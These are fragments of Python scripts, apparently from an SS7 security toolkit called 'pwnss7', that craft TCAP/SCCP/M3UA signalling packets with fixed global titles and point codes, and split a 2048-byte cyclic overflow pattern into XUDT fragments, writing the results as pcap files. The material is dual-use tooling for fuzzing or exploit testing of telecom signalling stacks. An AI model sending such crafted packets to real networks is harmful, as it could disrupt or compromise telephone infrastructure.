Asn1Obj(0x0, 0, 0x4,
value='\x0f'),
Asn1Obj(
0x0,
0,
0x4,
value=
'\xaa\x18\r\xa6\x82\xddl1\x19-6\xbb\xddF'),
Asn1Obj(0x2, 0, 0x0, value="\x91rgAX'\xf2"),
]),
]),
]),
])
f = StringIO()
encode_ber(f, tcap)
encoded_tcap = f.getvalue()
CALLED_GT = unhexlify('12930011047228190600')
CALLING_GT = unhexlify('1206001104722819604106')
pkt = encode_data(
encode_udt(encoded_tcap, CALLED_GT, CALLING_GT),
666, # originating point code
1337, # destiantion point code
0, # signalling link selection
)
pcap = convert2pcap([pkt])
sys.stdout.write(pcap)
import subprocess
import sys
from cStringIO import StringIO
from binascii import unhexlify
from itertools import islice
import string
# add pwnss7 directory to be able to import pwnss7 submodules
import sys
from os import path
sys.path.append(path.dirname(path.dirname(path.abspath(__file__))))
from pwnss7.m3ua import encode_data
from pwnss7.sccp import fragment
from pwnss7.ber import encode_ber, decode_ber, Asn1Obj, encode_integer
from pwnss7.util import cyclic, convert2pcap
msg = cyclic(2048)
xudt_size = 200
CALLED_GT = unhexlify('12930011047228190600')
CALLING_GT = unhexlify('1206001104722819604106')
pkts = []
for xudt in fragment(msg, CALLED_GT, CALLING_GT, xudt_size):
pkts.append(encode_data(xudt, 666, 1337, 0))
pcap = convert2pcap(pkts)
sys.stdout.write(pcap)